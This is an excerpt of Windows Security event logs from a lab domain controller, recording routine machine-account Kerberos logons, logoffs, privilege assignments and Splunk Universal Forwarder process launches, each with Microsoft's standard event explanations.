SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256739
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44FDD0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:42:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256738
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x44FDD0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49177

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:42:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256737
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44FDD0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:43:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256741
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:43:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256740
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:43:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256742
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf08
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:43:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256743
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:43:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256744
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:43:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256745
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x694
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:43:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256746
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:43:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256749
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x453376

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:43:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256748
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x453376
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49190

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:43:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256747
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x453376

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:44:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256751
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:44:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256750
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:44:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256752
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:44:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256753
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xde8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:44:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256754
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:44:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256755
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x884
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:44:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256756
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:44:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256759
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4569F3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:44:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256758
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4569F3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49204

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
